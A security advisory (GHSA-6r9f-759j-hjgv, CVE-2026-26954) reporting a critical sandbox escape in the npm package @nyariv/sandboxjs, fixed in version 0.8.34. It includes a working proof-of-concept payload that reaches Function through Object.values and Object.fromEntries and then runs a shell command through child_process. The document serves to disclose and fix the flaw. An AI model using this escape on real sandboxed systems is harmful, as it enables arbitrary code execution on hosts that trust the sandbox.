Advisory

GHSA-6r9f-759j-hjgv

Also known as: CVE-2026-26954

Summary

SandboxJS affected by a Sandbox Escape

Details

Summary

It is possible to obtain arrays containing Function, which allows escaping the sandbox.

Details

There are various ways to get an array containing Function, e.g.

Object.entries(this).at(1) // [ 'Function', [Function: Function] ]
Object.values(this).slice(1, 2) // [ [Function: Function] ]

Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This can be used to escape the sandbox.

PoC

const s = require('.').default;
const sb = new s();

payload = `
const p = (async function () {})();
({
  "finally": p.finally,
  ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),
}).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')();
`;

sb.compile(payload)().run();

Impact

Sandbox Escape -> RCE

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2026-03-13 13:46 UTC
Modified
2026-03-16 17:16 UTC

Affected packages and fixes

@nyariv/sandboxjs

npm · All systems

Affected

  • introduced 0, fixed 0.8.34 (semver)

Fixed versions

0.8.34

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences